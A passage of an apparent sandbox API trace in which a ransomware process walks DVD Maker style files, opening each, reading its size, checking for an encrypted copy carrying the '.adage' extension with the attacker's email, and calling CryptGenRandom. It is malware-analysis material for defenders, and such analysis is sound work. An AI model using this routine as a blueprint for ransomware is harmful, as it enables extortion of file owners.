[0057.249] CloseHandle (hObject=0x174) returned 1 [0057.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0057.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.250] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.251] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=149292) returned 1 [0057.251] CloseHandle (hObject=0x174) returned 1 [0057.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0057.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.251] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.251] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=125292) returned 1 [0057.251] CloseHandle (hObject=0x174) returned 1 [0057.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0057.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.252] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.252] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=220) returned 1 [0057.252] CloseHandle (hObject=0x174) returned 1 [0057.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0057.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.252] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.253] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2922) returned 1 [0057.253] CloseHandle (hObject=0x174) returned 1 [0057.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0057.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.253] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.254] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3939) returned 1 [0057.254] CloseHandle (hObject=0x174) returned 1 [0057.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0057.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.254] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.255] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4503) returned 1 [0057.255] CloseHandle (hObject=0x174) returned 1 [0057.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0057.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.255] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.255] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4515) returned 1 [0057.255] CloseHandle (hObject=0x174) returned 1 [0057.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0057.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.256] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.256] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4200) returned 1 [0057.256] CloseHandle (hObject=0x174) returned 1 [0057.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0057.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.256] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.257] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2739) returned 1 [0057.258] CloseHandle (hObject=0x174) returned 1 [0057.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0057.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.258] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.259] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2211) returned 1 [0057.259] CloseHandle (hObject=0x174) returned 1 [0057.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0057.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.261] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.261] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1551) returned 1 [0057.261] CloseHandle (hObject=0x174) returned 1 [0057.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0057.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.262] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.262] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=19477) returned 1 [0057.262] CloseHandle (hObject=0x174) returned 1 [0057.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png")) returned 0x20 [0057.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.262] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.263] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=52251) returned 1 [0057.263] CloseHandle (hObject=0x174) returned 1 [0057.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png")) returned 0x20 [0057.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.263] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.264] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=181298) returned 1 [0057.264] CloseHandle (hObject=0x174) returned 1 [0057.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0057.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.265] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.265] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=181322) returned 1 [0057.265] CloseHandle (hObject=0x174) returned 1 [0057.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0057.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.265] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.265] CreateFileW 